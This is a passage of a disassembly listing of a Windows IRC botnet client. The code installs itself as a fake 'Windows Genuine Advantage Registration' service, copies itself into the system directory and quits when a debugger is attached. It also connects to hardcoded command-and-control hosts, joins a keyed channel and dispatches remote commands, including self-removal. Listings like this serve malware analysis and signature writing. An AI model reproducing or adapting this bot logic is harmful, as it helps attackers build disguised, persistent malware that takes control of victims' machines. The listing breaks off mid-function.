var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], offset dword_401690
		leave
		retn
sub_4025E7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_4025F4	proc near		; CODE XREF: MEW:loc_4025D9p
					; MEW:004028C3p

var_190		= byte ptr -190h

		push	ebp
		mov	ebp, esp
		sub	esp, 190h
		push	offset aWgareg_0 ; "wgareg"
		push	0
		push	0
		call	dword_4010CC	; CreateMutexA
		test	eax, eax
		jz	short loc_40261D
		call	dword_4010D0	; RtlGetLastWin32Error
		cmp	eax, 0B7h
		jnz	short loc_402625


loc_40261D:				; CODE XREF: sub_4025F4+1Aj
		push	0
		call	dword_4010D4	; ExitProcess


loc_402625:				; CODE XREF: sub_4025F4+27j
		call	sub_4034DF
		lea	eax, [ebp+var_190]
		push	eax
		push	101h
		call	dword_401144	; WSAStartup


loc_40263C:				; CODE XREF: sub_4025F4+58j
		call	sub_4028D3
		push	4000h
		call	dword_4010DC	; Sleep
		jmp	short loc_40263C
sub_4025F4	endp

; ---------------------------------------------------------------------------
		dw 0C3C9h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402650	proc near		; CODE XREF: MEW:004025D4p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	104h
		push	offset dword_401180
		call	dword_4010C0	; GetSystemDirectoryA
		push	offset aWgareg_exe ; "wgareg.exe"
		push	offset dword_401180
		push	offset dword_4016B8
		push	offset dword_401180
		call	dword_401104	; wsprintfA
		add	esp, 10h
		push	20h
		push	offset dword_401180
		call	dword_4010C4	; SetFileAttributesA
		and	[ebp+var_4], 0
		jmp	short loc_40269B
; ---------------------------------------------------------------------------


loc_402694:				; CODE XREF: sub_402650+74j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_40269B:				; CODE XREF: sub_402650+42j
		cmp	[ebp+var_4], 5
		jge	short loc_4026C6
		push	0
		push	offset dword_401180
		push	offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
		call	dword_4010C8	; CopyFileA
		test	eax, eax
		jz	short loc_4026B9
		jmp	short loc_4026C6
; ---------------------------------------------------------------------------


loc_4026B9:				; CODE XREF: sub_402650+65j
		push	1400h
		call	dword_4010DC	; Sleep
		jmp	short loc_402694
; ---------------------------------------------------------------------------


loc_4026C6:				; CODE XREF: sub_402650+4Fj
					; sub_402650+67j
		call	sub_4026D6
		test	eax, eax
		jz	short locret_4026D4
		call	sub_4037DC

locret_4026D4:				; CODE XREF: sub_402650+7Dj
		leave
		retn
sub_402650	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4026D6	proc near		; CODE XREF: sub_402650:loc_4026C6p

var_128		= byte ptr -128h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 128h
		push	12h
		push	0
		push	0
		call	dword_401008	; OpenSCManagerA
		mov	[ebp+var_18], eax
		push	10h
		push	offset aWgareg	; "wgareg"
		push	[ebp+var_18]
		call	dword_401004	; OpenServiceA
		mov	[ebp+var_20], eax
		cmp	[ebp+var_20], 0
		jnz	loc_4027A0
		push	0
		push	0
		push	0
		push	0
		push	0
		push	offset dword_401180
		push	0
		push	2
		push	110h
		push	40012h
		push	offset aWindowsGenuine ; "Windows Genuine Advantage Registration "...
		push	offset aWgareg	; "wgareg"
		push	[ebp+var_18]
		call	dword_40103C	; CreateServiceA
		mov	[ebp+var_20], eax
		mov	[ebp+var_28], 1
		and	[ebp+var_24], 0
		and	[ebp+var_14], 0
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0
		mov	[ebp+var_8], 1
		lea	eax, [ebp+var_28]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_14]
		push	eax
		push	2
		push	[ebp+var_20]
		call	dword_401028	; ChangeServiceConfig2A
		push	100h
		push	offset aEnsuresThatYou ; "Ensures that your copy of Microsoft Win"...
		lea	eax, [ebp+var_128]
		push	eax
		call	dword_4010BC	; lstrcpynA
		lea	eax, [ebp+var_128]
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		push	[ebp+var_20]
		call	dword_401028	; ChangeServiceConfig2A


loc_4027A0:				; CODE XREF: sub_4026D6+2Fj
		push	0
		push	0
		push	[ebp+var_20]
		call	dword_401038	; StartServiceA
		leave
		retn
sub_4026D6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4027AF	proc near		; CODE XREF: sub_403062+16Dp
					; sub_404CE7+1B2p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	10000h
		push	0
		push	0
		call	dword_401008	; OpenSCManagerA
		mov	[ebp+var_4], eax
		push	10000h
		push	offset aWgareg	; "wgareg"
		push	[ebp+var_4]
		call	dword_401004	; OpenServiceA
		mov	[ebp+var_8], eax
		push	[ebp+var_8]
		call	dword_401010	; DeleteService
		push	[ebp+var_8]
		call	dword_40100C	; CloseServiceHandle
		push	[ebp+var_4]
		call	dword_40100C	; CloseServiceHandle
		call	sub_4037DC
		leave
		retn
sub_4027AF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4027FE	proc near		; CODE XREF: MEW:004025C1p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	104h
		push	offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
		push	0
		call	dword_4010B8	; GetModuleFileNameA
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		mov	byte ptr aCM_unpackerPac[eax], 0 ; "C:\\m_unpacker\\packed.exe"
		push	44h
		push	offset aD	; "D"
		call	sub_4038D9
		mov	dword ptr aD, 44h ; "D"
		mov	dword_40162C, 81h
		and	word_401630, 0
		leave
		retn
sub_4027FE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40284B	proc near		; CODE XREF: MEW:004025B5p
		push	ebp
		mov	ebp, esp
		push	0
		push	0
		push	0
		push	offset loc_402865
		push	0
		push	0
		call	dword_4010B4	; CreateThread
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_402865:				; DATA XREF: sub_40284B+9o
		push	ebp
		mov	ebp, esp


loc_402868:				; CODE XREF: sub_40284B+3Aj
		call	dword_4010B0	; IsDebuggerPresent
		test	eax, eax
		jz	short loc_40287A
		push	0
		call	dword_4010D4	; ExitProcess


loc_40287A:				; CODE XREF: sub_40284B+25j
		push	80h
		call	dword_4010DC	; Sleep
		jmp	short loc_402868
sub_40284B	endp

; ---------------------------------------------------------------------------
		db 5Dh
		db 0C2h, 4, 0
; ---------------------------------------------------------------------------


loc_40288B:				; DATA XREF: MEW:004025A6o
		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	offset loc_4028CC
		push	offset aWgareg	; "wgareg"
		call	dword_401018	; RegisterServiceCtrlHandlerA
		mov	[ebp-20h], eax
		mov	dword ptr [ebp-1Ch], 10h
		mov	dword ptr [ebp-18h], 4
		and	dword ptr [ebp-14h], 0
		lea	eax, [ebp-1Ch]
		push	eax
		push	dword ptr [ebp-20h]
		call	dword_401014	; SetServiceStatus
		call	sub_4025F4
; ---------------------------------------------------------------------------
		dd 8C2C9h
; ---------------------------------------------------------------------------


loc_4028CC:				; DATA XREF: MEW:00402891o
		push	ebp
		mov	ebp, esp
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4028D3	proc near		; CODE XREF: sub_4025F4:loc_40263Cp

var_544		= dword	ptr -544h
var_540		= dword	ptr -540h
var_53C		= word ptr -53Ch
var_53A		= word ptr -53Ah
var_538		= dword	ptr -538h
var_52C		= dword	ptr -52Ch
var_528		= dword	ptr -528h
var_524		= dword	ptr -524h
var_520		= byte ptr -520h
var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_114		= dword	ptr -114h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 544h
		call	sub_403A18
		cmp	dword_401290, offset aBniu_househot_ ; "bniu.househot.com"
		jnz	short loc_402905
		mov	dword_401290, offset aYpgw_wallloan_ ; "ypgw.wallloan.com"
		mov	ax, word_4016F4
		mov	word_401294, ax
		jmp	short loc_40291B
; ---------------------------------------------------------------------------


loc_402905:				; CODE XREF: sub_4028D3+18j
		mov	dword_401290, offset aBniu_househot_ ; "bniu.househot.com"
		mov	ax, word_4016DC
		mov	word_401294, ax


loc_40291B:				; CODE XREF: sub_4028D3+30j
		push	dword_401290
		call	dword_401120	; gethostbyname
		mov	[ebp+var_11C], eax
		cmp	[ebp+var_11C], 0
		jnz	short loc_40293B
		jmp	locret_402C51
; ---------------------------------------------------------------------------


loc_40293B:				; CODE XREF: sub_4028D3+61j
		and	dword_40128C, 0
		mov	eax, dword_40128C
		mov	dword_401288, eax
		mov	eax, [ebp+var_11C]
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_538], eax
		mov	[ebp+var_53C], 2
		mov	ax, word_401294
		mov	[ebp+var_53A], ax
		push	6
		push	1
		push	2
		call	dword_401160	; socket
		mov	dword_4014DC, eax
		mov	[ebp+var_10], 1
		push	4
		lea	eax, [ebp+var_10]
		push	eax
		push	8
		push	0FFFFh
		push	dword_4014DC
		call	dword_401128	; setsockopt
		push	10h
		lea	eax, [ebp+var_53C]
		push	eax
		push	dword_4014DC
		call	dword_40112C	; connect
		push	0
		push	0Dh
		push	offset aUserLLLL ; "USeR l l l l\n"
		push	dword_4014DC
		call	dword_401130	; send
		call	sub_4034BB
		push	20h
		push	offset dword_401498
		push	offset dword_4014A8
		call	dword_4010BC	; lstrcpynA
		push	offset dword_4014A8
		push	offset aNick_24s ; "NiCK %.24s\n"
		push	offset dword_401298
		call	dword_401104	; wsprintfA
		add	esp, 0Ch
		mov	dword_4014C8, eax
		push	0
		push	dword_4014C8
		push	offset dword_401298
		push	dword_4014DC
		call	dword_401130	; send
		mov	[ebp+var_4], 10h
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_53C]
		push	eax
		push	dword_4014DC
		call	dword_401134	; getsockname
		mov	eax, [ebp+var_538]
		mov	dword_4014D4, eax
		and	[ebp+var_4], 0
		and	[ebp+var_118], 0


loc_402A51:				; CODE XREF: sub_4028D3+1F4j
		and	[ebp+var_540], 0
		jmp	short loc_402A67
; ---------------------------------------------------------------------------


loc_402A5A:				; CODE XREF: sub_4028D3:loc_402A8Cj
		mov	eax, [ebp+var_540]
		inc	eax
		mov	[ebp+var_540], eax


loc_402A67:				; CODE XREF: sub_4028D3+185j
		mov	eax, [ebp+var_540]
		cmp	eax, [ebp+var_118]
		jnb	short loc_402A8E
		mov	eax, [ebp+var_540]
		mov	eax, [ebp+eax*4+var_114]
		cmp	eax, dword_4014DC
		jnz	short loc_402A8C
		jmp	short loc_402A8E
; ---------------------------------------------------------------------------


loc_402A8C:				; CODE XREF: sub_4028D3+1B5j
		jmp	short loc_402A5A
; ---------------------------------------------------------------------------


loc_402A8E:				; CODE XREF: sub_4028D3+1A0j
					; sub_4028D3+1B7j
		mov	eax, [ebp+var_540]
		cmp	eax, [ebp+var_118]
		jnz	short loc_402AC5
		cmp	[ebp+var_118], 40h
		jnb	short loc_402AC5
		mov	eax, [ebp+var_540]
		mov	ecx, dword_4014DC
		mov	[ebp+eax*4+var_114], ecx
		mov	eax, [ebp+var_118]
		inc	eax
		mov	[ebp+var_118], eax


loc_402AC5:				; CODE XREF: sub_4028D3+1C7j
					; sub_4028D3+1D0j
		xor	eax, eax
		jnz	short loc_402A51
		mov	eax, dword_401708
		mov	[ebp+var_528], eax
		and	[ebp+var_524], 0


loc_402ADB:				; CODE XREF: sub_4028D3+36Dj
		lea	eax, [ebp+var_528]
		push	eax
		push	0
		push	0
		lea	eax, [ebp+var_118]
		push	eax
		push	0
		call	dword_401138	; select
		cmp	eax, 1
		jnz	loc_402C45
		push	0
		mov	eax, 400h
		sub	eax, [ebp+var_4]
		push	eax
		mov	eax, [ebp+var_4]
		lea	eax, [ebp+eax+var_520]
		push	eax
		push	dword_4014DC
		call	dword_40113C	; recv
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jg	short loc_402B2E
		jmp	loc_402C45
; ---------------------------------------------------------------------------


loc_402B2E:				; CODE XREF: sub_4028D3+254j
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+eax+var_520], 0
		lea	eax, [ebp+var_520]
		mov	[ebp+var_52C], eax


loc_402B4E:				; CODE XREF: sub_4028D3:loc_402BBBj
		mov	eax, [ebp+var_52C]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_402BBD
		push	0Dh
		push	[ebp+var_52C]
		call	sub_40395A
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jz	short loc_402B8F
		mov	eax, [ebp+var_C]
		mov	byte ptr [eax],	0
		push	[ebp+var_52C]
		call	sub_402C9E
		mov	eax, [ebp+var_C]
		inc	eax
		inc	eax
		mov	[ebp+var_52C], eax
		jmp	short loc_402BBB
; ---------------------------------------------------------------------------


loc_402B8F:				; CODE XREF: sub_4028D3+29Cj
		mov	eax, [ebp+var_4]
		lea	eax, [ebp+eax+var_520]
		sub	eax, [ebp+var_52C]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		push	[ebp+var_52C]
		lea	eax, [ebp+var_520]
		push	eax
		call	sub_40392B
		jmp	short loc_402BC1
; ---------------------------------------------------------------------------


loc_402BBB:				; CODE XREF: sub_4028D3+2BAj
		jmp	short loc_402B4E
; ---------------------------------------------------------------------------


loc_402BBD:				; CODE XREF: sub_4028D3+286j
		and	[ebp+var_4], 0


loc_402BC1:				; CODE XREF: sub_4028D3+2E6j
		and	[ebp+var_118], 0


loc_402BC8:				; CODE XREF: sub_4028D3+36Bj
		and	[ebp+var_544], 0
		jmp	short loc_402BDE
; ---------------------------------------------------------------------------


loc_402BD1:				; CODE XREF: sub_4028D3:loc_402C03j
		mov	eax, [ebp+var_544]
		inc	eax
		mov	[ebp+var_544], eax


loc_402BDE:				; CODE XREF: sub_4028D3+2FCj
		mov	eax, [ebp+var_544]
		cmp	eax, [ebp+var_118]
		jnb	short loc_402C05
		mov	eax, [ebp+var_544]
		mov	eax, [ebp+eax*4+var_114]
		cmp	eax, dword_4014DC
		jnz	short loc_402C03
		jmp	short loc_402C05
; ---------------------------------------------------------------------------


loc_402C03:				; CODE XREF: sub_4028D3+32Cj
		jmp	short loc_402BD1
; ---------------------------------------------------------------------------


loc_402C05:				; CODE XREF: sub_4028D3+317j
					; sub_4028D3+32Ej
		mov	eax, [ebp+var_544]
		cmp	eax, [ebp+var_118]
		jnz	short loc_402C3C
		cmp	[ebp+var_118], 40h
		jnb	short loc_402C3C
		mov	eax, [ebp+var_544]
		mov	ecx, dword_4014DC
		mov	[ebp+eax*4+var_114], ecx
		mov	eax, [ebp+var_118]
		inc	eax
		mov	[ebp+var_118], eax


loc_402C3C:				; CODE XREF: sub_4028D3+33Ej
					; sub_4028D3+347j
		xor	eax, eax
		jnz	short loc_402BC8
		jmp	loc_402ADB
; ---------------------------------------------------------------------------


loc_402C45:				; CODE XREF: sub_4028D3+225j
					; sub_4028D3+256j
		push	dword_4014DC
		call	dword_401140	; closesocket

locret_402C51:				; CODE XREF: sub_4028D3+63j
		leave
		retn
sub_4028D3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402C53	proc near		; CODE XREF: sub_403062:loc_40342Bp
					; sub_403062+40Dp ...

var_204		= dword	ptr -204h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		push	[ebp+arg_0]
		push	offset dword_4016F8
		push	offset aPrivmsg_16s_48 ; "PRiVMSG %.16s	:%.480s\n"
		lea	eax, [ebp+var_200]
		push	eax
		call	dword_401104	; wsprintfA
		add	esp, 10h
		mov	[ebp+var_204], eax
		push	0
		push	[ebp+var_204]
		lea	eax, [ebp+var_200]
		push	eax
		push	dword_4014DC
		call	dword_401130	; send
		leave
		retn	4
sub_402C53	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402C9E	proc near		; CODE XREF: sub_4028D3+2AAp

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 3Ah
		jnz	short loc_402CDD
		mov	eax, [ebp+arg_0]
		inc	eax
		mov	[ebp+var_4], eax
		push	20h
		push	[ebp+var_4]
		call	sub_40395A
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	short loc_402CCE
		jmp	locret_40305E
; ---------------------------------------------------------------------------


loc_402CCE:				; CODE XREF: sub_402C9E+29j
		mov	eax, [ebp+var_C]
		mov	byte ptr [eax],	0
		mov	eax, [ebp+var_C]
		inc	eax
		mov	[ebp+var_C], eax
		jmp	short loc_402CE7
; ---------------------------------------------------------------------------


loc_402CDD:				; CODE XREF: sub_402C9E+Fj
		and	[ebp+var_4], 0
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_C], eax


loc_402CE7:				; CODE XREF: sub_402C9E+3Dj
		push	20h
		push	[ebp+var_C]
		call	sub_40395A
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_402D01
		jmp	locret_40305E
; ---------------------------------------------------------------------------
		db 0EBh
		db 0Dh
; ---------------------------------------------------------------------------


loc_402D01:				; CODE XREF: sub_402C9E+5Aj
		mov	eax, [ebp+var_8]
		mov	byte ptr [eax],	0
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax
		push	offset aPing	; "PING"
		push	[ebp+var_C]
		call	dword_4010AC	; lstrcmpA
		test	eax, eax
		jnz	short loc_402D59
		push	[ebp+var_8]
		push	offset aPong_500s_0 ; "PoNG %.500s\r\n"
		push	offset dword_401298
		call	dword_401104	; wsprintfA
		add	esp, 0Ch
		mov	dword_4014C8, eax
		push	0
		push	dword_4014C8
		push	offset dword_401298
		push	dword_4014DC
		call	dword_401130	; send
		jmp	locret_40305E
; ---------------------------------------------------------------------------


loc_402D59:				; CODE XREF: sub_402C9E+80j
		push	offset aPrivmsg	; "PRIVMSG"
		push	[ebp+var_C]
		call	dword_4010AC	; lstrcmpA
		test	eax, eax
		jnz	loc_402E05
		and	[ebp+var_10], 0
		cmp	[ebp+var_4], 0
		jz	short loc_402D92
		push	[ebp+var_4]
		push	offset dword_401710
		call	sub_403E5B
		cmp	eax, 1
		jnz	short loc_402D92
		mov	[ebp+var_10], 1


loc_402D92:				; CODE XREF: sub_402C9E+D9j
					; sub_402C9E+EBj
		push	20h
		push	[ebp+var_8]
		call	sub_40395A
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0
		jz	short loc_402E00
		mov	eax, [ebp+var_14]
		inc	eax
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_14]
		movsx	eax, byte ptr [eax]
		cmp	eax, 3Ah
		jnz	short loc_402DBE
		mov	eax, [ebp+var_14]
		inc	eax
		mov	[ebp+var_14], eax


loc_402DBE:				; CODE XREF: sub_402C9E+117j
		cmp	[ebp+var_10], 1
		jnz	short loc_402E00
		mov	eax, [ebp+var_14]
		movsx	eax, byte ptr [eax]
		movsx	ecx, byte_4016DA
		cmp	eax, ecx
		jnz	short loc_402DE3
		push	0
		mov	eax, [ebp+var_14]
		inc	eax
		push	eax
		call	sub_403062
		jmp	short loc_402E00
; ---------------------------------------------------------------------------


loc_402DE3:				; CODE XREF: sub_402C9E+135j
		mov	eax, [ebp+var_14]
		movsx	eax, byte ptr [eax]
		movsx	ecx, byte_4016DB
		cmp	eax, ecx
		jnz	short loc_402E00
		push	1
		mov	eax, [ebp+var_14]
		inc	eax
		push	eax
		call	sub_403062


loc_402E00:				; CODE XREF: sub_402C9E+105j
					; sub_402C9E+124j ...
		jmp	locret_40305E
; ---------------------------------------------------------------------------


loc_402E05:				; CODE XREF: sub_402C9E+CBj
		push	offset a433	; "433"
		push	[ebp+var_C]
		call	dword_4010AC	; lstrcmpA
		test	eax, eax
		jnz	short loc_402E72
		cmp	dword_40128C, 0
		jnz	short loc_402E6D
		call	sub_4034BB
		push	20h
		push	offset dword_401498
		push	offset dword_4014A8
		call	dword_4010BC	; lstrcpynA
		push	offset dword_4014A8
		push	offset aNick_24s ; "NiCK %.24s\n"
		push	offset dword_401298
		call	dword_401104	; wsprintfA
		add	esp, 0Ch
		mov	dword_4014C8, eax
		push	0
		push	dword_4014C8
		push	offset dword_401298
		push	dword_4014DC
		call	dword_401130	; send


loc_402E6D:				; CODE XREF: sub_402C9E+180j
		jmp	locret_40305E
; ---------------------------------------------------------------------------


loc_402E72:				; CODE XREF: sub_402C9E+177j
		push	offset a332	; "332"
		push	[ebp+var_C]
		call	dword_4010AC	; lstrcmpA
		test	eax, eax
		jnz	loc_402F16
		push	20h
		push	[ebp+var_8]
		call	sub_40395A
		mov	[ebp+var_18], eax
		cmp	[ebp+var_18], 0
		jz	short loc_402EA4
		mov	eax, [ebp+var_18]
		inc	eax
		mov	[ebp+var_18], eax
		jmp	short loc_402EA9
; ---------------------------------------------------------------------------


loc_402EA4:				; CODE XREF: sub_402C9E+1FBj
		jmp	locret_40305E
; ---------------------------------------------------------------------------


loc_402EA9:				; CODE XREF: sub_402C9E+204j
		push	20h
		push	[ebp+var_18]
		call	sub_40395A
		mov	[ebp+var_18], eax
		cmp	[ebp+var_18], 0
		jz	short loc_402F11
		mov	eax, [ebp+var_18]
		inc	eax
		mov	[ebp+var_18], eax
		mov	eax, [ebp+var_18]
		movsx	eax, byte ptr [eax]
		cmp	eax, 3Ah
		jnz	short loc_402ED5
		mov	eax, [ebp+var_18]
		inc	eax
		mov	[ebp+var_18], eax


loc_402ED5:				; CODE XREF: sub_402C9E+22Ej
		mov	eax, [ebp+var_18]
		movsx	eax, byte ptr [eax]
		movsx	ecx, byte_4016DA
		cmp	eax, ecx
		jnz	short loc_402EF4
		push	0
		mov	eax, [ebp+var_18]
		inc	eax
		push	eax
		call	sub_403062
		jmp	short loc_402F11
; ---------------------------------------------------------------------------


loc_402EF4:				; CODE XREF: sub_402C9E+246j
		mov	eax, [ebp+var_18]
		movsx	eax, byte ptr [eax]
		movsx	ecx, byte_4016DB
		cmp	eax, ecx
		jnz	short loc_402F11
		push	1
		mov	eax, [ebp+var_18]
		inc	eax
		push	eax
		call	sub_403062


loc_402F11:				; CODE XREF: sub_402C9E+21Cj
					; sub_402C9E+254j ...
		jmp	locret_40305E
; ---------------------------------------------------------------------------


loc_402F16:				; CODE XREF: sub_402C9E+1E4j
		push	offset a302	; "302"
		push	[ebp+var_C]
		call	dword_4010AC	; lstrcmpA
		test	eax, eax
		jnz	loc_402FC4
		cmp	dword_401288, 0
		jnz	loc_402FC4
		push	40h
		push	[ebp+var_8]
		call	sub_40395A
		mov	[ebp+var_1C], eax
		cmp	[ebp+var_1C], 0
		jz	short loc_402FBA
		mov	eax, [ebp+var_1C]
		inc	eax
		mov	[ebp+var_1C], eax
		push	20h
		push	[ebp+var_1C]
		call	sub_40395A
		mov	[ebp+var_20], eax
		cmp	[ebp+var_20], 0
		jz	short loc_402F6C
		mov	eax, [ebp+var_20]
		mov	byte ptr [eax],	0


loc_402F6C:				; CODE XREF: sub_402C9E+2C6j
		push	[ebp+var_1C]
		call	dword_40111C	; inet_addr
		mov	dword_4014D8, eax
		cmp	dword_4014D8, 0FFFFFFFFh
		jnz	short loc_402FB0
		push	[ebp+var_1C]
		call	dword_401120	; gethostbyname
		mov	[ebp+var_24], eax
		cmp	[ebp+var_24], 0
		jz	short loc_402FAE
		mov	eax, [ebp+var_24]
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	dword_4014D8, eax
		mov	dword_401288, 1


loc_402FAE:				; CODE XREF: sub_402C9E+2F5j
		jmp	short loc_402FBA
; ---------------------------------------------------------------------------


loc_402FB0:				; CODE XREF: sub_402C9E+2E3j
		mov	dword_401288, 1


loc_402FBA:				; CODE XREF: sub_402C9E+2ACj
					; sub_402C9E:loc_402FAEj
		call	sub_403A51
		jmp	locret_40305E
; ---------------------------------------------------------------------------


loc_402FC4:				; CODE XREF: sub_402C9E+288j
					; sub_402C9E+295j
		push	offset a001	; "001"
		push	[ebp+var_C]
		call	dword_4010AC	; lstrcmpA
		test	eax, eax
		jnz	locret_40305E
		cmp	dword_40128C, 0
		jnz	short locret_40305E
		mov	dword_40128C, 1
		push	offset dword_4014A8
		push	offset aUserhost_16s ; "USeRHOST %.16s\n"
		push	offset dword_401298
		call	dword_401104	; wsprintfA
		add	esp, 0Ch
		mov	dword_4014C8, eax
		push	0
		push	dword_4014C8
		push	offset dword_401298
		push	dword_4014DC
		call	dword_401130	; send
		push	offset aNert4mp1 ; "nert4mp1"
		push	offset dword_4016F8
		push	offset aJoin_16s_16s ; "JOiN %.16s %.16s\n"
		push	offset dword_401298
		call	dword_401104	; wsprintfA
		add	esp, 10h
		mov	dword_4014C8, eax
		push	0
		push	dword_4014C8
		push	offset dword_401298
		push	dword_4014DC
		call	dword_401130	; send

locret_40305E:				; CODE XREF: sub_402C9E+2Bj
					; sub_402C9E+5Cj ...
		leave
		retn	4
sub_402C9E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403062	proc near		; CODE XREF: sub_402C9E+13Ep
					; sub_402C9E+15Dp ...

var_420		= dword	ptr -420h
var_41C		= byte ptr -41Ch
var_40C		= dword	ptr -40Ch
var_408		= dword	ptr -408h
var_404		= dword	ptr -404h
var_400		= byte ptr -400h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		mov	[ebp+var_420], eax
		cmp	[ebp+var_420], 61h
		jg	loc_403119
		cmp	[ebp+var_420], 61h
		jz	loc_4032F6
		cmp	[ebp+var_420], 49h
		jg	short loc_4030E0
		cmp	[ebp+var_420], 49h
		jz	loc_403338
		cmp	[ebp+var_420], 43h
		jz	loc_40332E
		cmp	[ebp+var_420], 44h
		jz	loc_403480
		cmp	[ebp+var_420], 45h
		jz	loc_403435
		cmp	[ebp+var_420], 46h
		jz	loc_4033B0
		jmp	locret_4034B7
; ---------------------------------------------------------------------------


loc_4030E0:				; CODE XREF: sub_403062+36j
		cmp	[ebp+var_420], 4Ch
		jz	loc_403394
		cmp	[ebp+var_420], 51h
		jz	loc_4031D9
		cmp	[ebp+var_420], 52h
		jz	loc_4031AE
		cmp	[ebp+var_420], 53h
		jz	loc_4033D9
		jmp	locret_4034B7
; ---------------------------------------------------------------------------


loc_403119:				; CODE XREF: sub_403062+1Cj
		cmp	[ebp+var_420], 6Ch
		jg	short loc_403175
		cmp	[ebp+var_420], 6Ch
		jz	loc_403382
		cmp	[ebp+var_420], 63h
		jz	loc_403312
		cmp	[ebp+var_420], 65h
		jz	loc_403354
		cmp	[ebp+var_420], 66h
		jz	loc_4033A6
		cmp	[ebp+var_420], 68h
		jz	loc_403487
		cmp	[ebp+var_420], 69h
		jz	loc_4032AE
		jmp	locret_4034B7
; ---------------------------------------------------------------------------


loc_403175:				; CODE XREF: sub_403062+BEj
		cmp	[ebp+var_420], 6Eh
		jz	loc_4033E3
		cmp	[ebp+var_420], 71h
		jz	loc_4034A0
		cmp	[ebp+var_420], 73h
		jz	loc_4033BA
		cmp	[ebp+var_420], 75h
		jz	loc_403354
		jmp	locret_4034B7
; ---------------------------------------------------------------------------


loc_4031AE:				; CODE XREF: sub_403062+9Fj
		push	0
		push	5
		push	offset aQuit	; "QUiT\n"
		push	dword_4014DC
		call	dword_401130	; send
		push	dword_4014DC
		call	dword_401140	; closesocket
		call	sub_4027AF
		jmp	locret_4034B7
; ---------------------------------------------------------------------------


loc_4031D9:				; CODE XREF: sub_403062+92j
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+1]
		cmp	eax, 20h
		jnz	loc_4032A9
		mov	eax, [ebp+arg_0]
		inc	eax
		inc	eax
		mov	[ebp+var_40C], eax
		and	[ebp+var_408], 0
		and	[ebp+var_404], 0
		jmp	short loc_403212
; ---------------------------------------------------------------------------


loc_403204:				; CODE XREF: sub_403062+225j
		mov	eax, [ebp+var_408]
		inc	eax
		inc	eax
		mov	[ebp+var_408], eax


loc_403212:				; CODE XREF: sub_403062+1A0j
		mov	eax, [ebp+var_40C]
		add	eax, [ebp+var_408]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_40328C
		mov	eax, [ebp+var_40C]
		add	eax, [ebp+var_408]
		movsx	eax, byte ptr [eax]
		sub	eax, 61h
		shl	eax, 4
		mov	ecx, [ebp+var_404]
		mov	[ebp+ecx+var_400], al
